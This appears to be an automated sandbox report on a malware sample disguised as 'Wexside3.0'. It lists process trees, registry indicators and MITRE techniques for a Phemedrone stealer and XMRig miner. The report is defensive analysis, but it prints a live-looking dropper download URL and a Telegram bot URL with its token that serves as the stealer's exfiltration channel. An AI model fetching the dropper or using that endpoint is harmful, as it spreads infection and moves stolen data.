phemedrone | hxxps://drive[.]usercontent[.]google[.]com/download?id=1-cRnsrAF5ik3zZkVKzImZCoVm0Bo07Ly&export=download&authuser=0&confirm=t&uuid=0904a1d0-67f9-428f-88c3-5f5a9dbf2fa2&at=APZUnTUyoxl_j-NXk0_P2Vbr8MK_%3A1723053475737

Analysis

max time kernel
206s
max time network
206s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07-08-2024 17:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://drive.usercontent.google.com/download?id=1-cRnsrAF5ik3zZkVKzImZCoVm0Bo07Ly&export=download&authuser=0&confirm=t&uuid=0904a1d0-67f9-428f-88c3-5f5a9dbf2fa2&at=APZUnTUyoxl_j-NXk0_P2Vbr8MK_%3A1723053475737

Score

10^/10

phemedrone xmrig discovery evasion execution miner persistence stealer upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://drive.usercontent.google.com/u/0/uc?id=1cOfdrYTcndJEY8uHrMnDtqUbkax07UMo&export=download

Extracted

Family

phemedrone

https://api.telegram.org/bot7253527125:AAG2zbXlkuY33BxLSZk2mcohhToET22xkTM/sendDocument

Signatures

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1648-1630-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1634-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1633-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1632-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1631-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1627-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1628-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1635-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1648-1636-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

120 3408 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3588 powershell.exe
5980 powershell.exe
3408 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Executes dropped EXE 3 IoCs

Processes:

drivers.exeinstaller.exeayfvnajiment.exe

pid process

1944 drivers.exe
4564 installer.exe
5936 ayfvnajiment.exe

flow	pid	process
120	3408	powershell.exe

pid	process
1944	drivers.exe
4564	installer.exe
5936	ayfvnajiment.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1648-1622-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1623-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1626-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1630-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1634-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1633-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1632-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1631-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1627-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1625-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1628-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1624-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1635-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1648-1636-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

131 pastebin.com
132 pastebin.com
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

3648 powercfg.exe
4788 powercfg.exe
5032 powercfg.exe
848 powercfg.exe
976 powercfg.exe
3524 powercfg.exe
6120 powercfg.exe
4064 powercfg.exe

flow	ioc
131	pastebin.com
132	pastebin.com

pid	process
3648	powercfg.exe
4788	powercfg.exe
5032	powercfg.exe
848	powercfg.exe
976	powercfg.exe
3524	powercfg.exe
6120	powercfg.exe
4064	powercfg.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

drivers.exeayfvnajiment.exe

description	pid	process	target process
PID 1944 set thread context of 5304	1944	drivers.exe	RegAsm.exe
PID 5936 set thread context of 4264	5936	ayfvnajiment.exe	conhost.exe
PID 5936 set thread context of 1648	5936	ayfvnajiment.exe	svchost.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

4520 sc.exe
5956 sc.exe
5620 sc.exe
4648 sc.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2156 5304 WerFault.exe RegAsm.exe

pid	process
4520	sc.exe
5956	sc.exe
5620	sc.exe
4648	sc.exe

pid	pid_target	process	target process
2156	5304	WerFault.exe	RegAsm.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

drivers.exeRegAsm.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	drivers.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

PING.EXE

pid process

5248 PING.EXE

pid	process
5248	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exefirefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 6 IoCs

Processes:

msedge.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133675273119000053"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe

Modifies registry class 4 IoCs

Processes:

taskmgr.exemsedge.exemsedge.exefirefox.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings	taskmgr.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2170637797-568393320-3232933035-1000\{A909E132-3264-416D-8033-939ED834CA82}	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2170637797-568393320-3232933035-1000\{F2565EEB-E084-4A74-BC8B-4194CF8D229F}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

Processes:

firefox.exe

description ioc process

File created C:\Users\Admin\Downloads\Wexside3.0.zip:Zone.Identifier firefox.exe
Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

6132 NOTEPAD.EXE
Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5248 PING.EXE

description	ioc	process
File created	C:\Users\Admin\Downloads\Wexside3.0.zip:Zone.Identifier	firefox.exe

pid	process
6132	NOTEPAD.EXE

pid	process
5248	PING.EXE

Suspicious behavior: EnumeratesProcesses 55 IoCs

Processes:

powershell.exepowershell.exepowershell.exeinstaller.exeayfvnajiment.exetaskmgr.exe

pid	process
3588	powershell.exe
3588	powershell.exe
5980	powershell.exe
5980	powershell.exe
3408	powershell.exe
3408	powershell.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
4564	installer.exe
5936	ayfvnajiment.exe
5936	ayfvnajiment.exe
5936	ayfvnajiment.exe
5936	ayfvnajiment.exe
5936	ayfvnajiment.exe
5936	ayfvnajiment.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

Processes:

firefox.exepowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exesvchost.exetaskmgr.exe

description	pid	process
Token: SeDebugPrivilege	3672	firefox.exe
Token: SeDebugPrivilege	3672	firefox.exe
Token: SeDebugPrivilege	3672	firefox.exe
Token: SeDebugPrivilege	3588	powershell.exe
Token: SeDebugPrivilege	5980	powershell.exe
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeShutdownPrivilege	3524	powercfg.exe
Token: SeCreatePagefilePrivilege	3524	powercfg.exe
Token: SeShutdownPrivilege	976	powercfg.exe
Token: SeCreatePagefilePrivilege	976	powercfg.exe
Token: SeShutdownPrivilege	5032	powercfg.exe
Token: SeCreatePagefilePrivilege	5032	powercfg.exe
Token: SeShutdownPrivilege	848	powercfg.exe
Token: SeCreatePagefilePrivilege	848	powercfg.exe
Token: SeShutdownPrivilege	3648	powercfg.exe
Token: SeCreatePagefilePrivilege	3648	powercfg.exe
Token: SeShutdownPrivilege	6120	powercfg.exe
Token: SeCreatePagefilePrivilege	6120	powercfg.exe
Token: SeShutdownPrivilege	4064	powercfg.exe
Token: SeCreatePagefilePrivilege	4064	powercfg.exe
Token: SeShutdownPrivilege	4788	powercfg.exe
Token: SeCreatePagefilePrivilege	4788	powercfg.exe
Token: SeLockMemoryPrivilege	1648	svchost.exe
Token: SeDebugPrivilege	5588	taskmgr.exe
Token: SeSystemProfilePrivilege	5588	taskmgr.exe
Token: SeCreateGlobalPrivilege	5588	taskmgr.exe
Token: 33	5588	taskmgr.exe
Token: SeIncBasePriorityPrivilege	5588	taskmgr.exe

Suspicious use of FindShellTrayWindow 62 IoCs

Processes:

firefox.exetaskmgr.exe

pid	process
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe

Suspicious use of SendNotifyMessage 61 IoCs

Processes:

firefox.exetaskmgr.exe

pid	process
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
3672	firefox.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe
5588	taskmgr.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

firefox.exe

pid process

3672 firefox.exe
3672 firefox.exe
3672 firefox.exe
3672 firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

firefox.exefirefox.exe

description	pid	process	target process
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 2556 wrote to memory of 3672	2556	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 2896	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe
PID 3672 wrote to memory of 3524	3672	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://drive.usercontent.google.com/download?id=1-cRnsrAF5ik3zZkVKzImZCoVm0Bo07Ly&export=download&authuser=0&confirm=t&uuid=0904a1d0-67f9-428f-88c3-5f5a9dbf2fa2&at=APZUnTUyoxl_j-NXk0_P2Vbr8MK_%3A1723053475737"
1⤵
- Suspicious use of WriteProcessMemory
PID:2556
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://drive.usercontent.google.com/download?id=1-cRnsrAF5ik3zZkVKzImZCoVm0Bo07Ly&export=download&authuser=0&confirm=t&uuid=0904a1d0-67f9-428f-88c3-5f5a9dbf2fa2&at=APZUnTUyoxl_j-NXk0_P2Vbr8MK_%3A1723053475737
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3672
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2016 -parentBuildID 20240401114208 -prefsHandle 1928 -prefMapHandle 1920 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {54db796e-fb7c-437d-9364-e4044c379d6a} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" gpu
    3⤵
    PID:2896
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2452 -parentBuildID 20240401114208 -prefsHandle 2428 -prefMapHandle 2424 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8cf0ac6-ef55-4a47-be94-f4e1ac23d3a6} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" socket
    3⤵
    - Checks processor information in registry
    PID:3524
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3148 -childID 1 -isForBrowser -prefsHandle 2868 -prefMapHandle 3068 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d18ffbf4-588a-4ccb-9ba8-e4cd8a48cf5e} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" tab
    3⤵
    PID:980
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2832 -childID 2 -isForBrowser -prefsHandle 3672 -prefMapHandle 3668 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a7e16d37-f856-4ada-886e-ed68a327ead9} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" tab
    3⤵
    PID:4328
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4652 -prefMapHandle 4648 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c049bbe1-eb41-479f-b95f-ed2cab70cf21} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" utility
    3⤵
    - Checks processor information in registry
    PID:5148
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5252 -childID 3 -isForBrowser -prefsHandle 5244 -prefMapHandle 5240 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ebded401-11d6-4e74-848c-8ca71bcaedda} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" tab
    3⤵
    PID:5576
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5392 -childID 4 -isForBrowser -prefsHandle 5400 -prefMapHandle 5408 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {676c4b9f-8ab9-4fca-af6f-6ef56c03025e} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" tab
    3⤵
    PID:5588
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5600 -childID 5 -isForBrowser -prefsHandle 5608 -prefMapHandle 5612 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1220 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c01db2ed-059b-42bc-bfbd-e4d4c73cd754} 3672 "\\.\pipe\gecko-crash-server-pipe.3672" tab
    3⤵
    PID:5600

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3812,i,10369132178352108590,11047993562598554317,262144 --variations-seed-version --mojo-platform-channel-handle=4160 /prefetch:8
1⤵
PID:2224

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4948

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Wexside3.0\start.bat
1⤵
- Opens file in notepad (likely ransom note)
PID:6132

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Wexside3.0\start.bat" "
1⤵
PID:4876
- C:\Windows\system32\chcp.com
  chcp.com 437
  2⤵
  PID:5540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c type tmp
  2⤵
  PID:4556
- C:\Windows\system32\findstr.exe
  findstr /L /I set "C:\Users\Admin\Desktop\Wexside3.0\start.bat"
  2⤵
  PID:4716
- C:\Windows\system32\findstr.exe
  findstr /L /I goto "C:\Users\Admin\Desktop\Wexside3.0\start.bat"
  2⤵
  PID:5528
- C:\Windows\system32\findstr.exe
  findstr /L /I echo "C:\Users\Admin\Desktop\Wexside3.0\start.bat"
  2⤵
  PID:1820
- C:\Windows\system32\findstr.exe
  findstr /L /I pause "C:\Users\Admin\Desktop\Wexside3.0\start.bat"
  2⤵
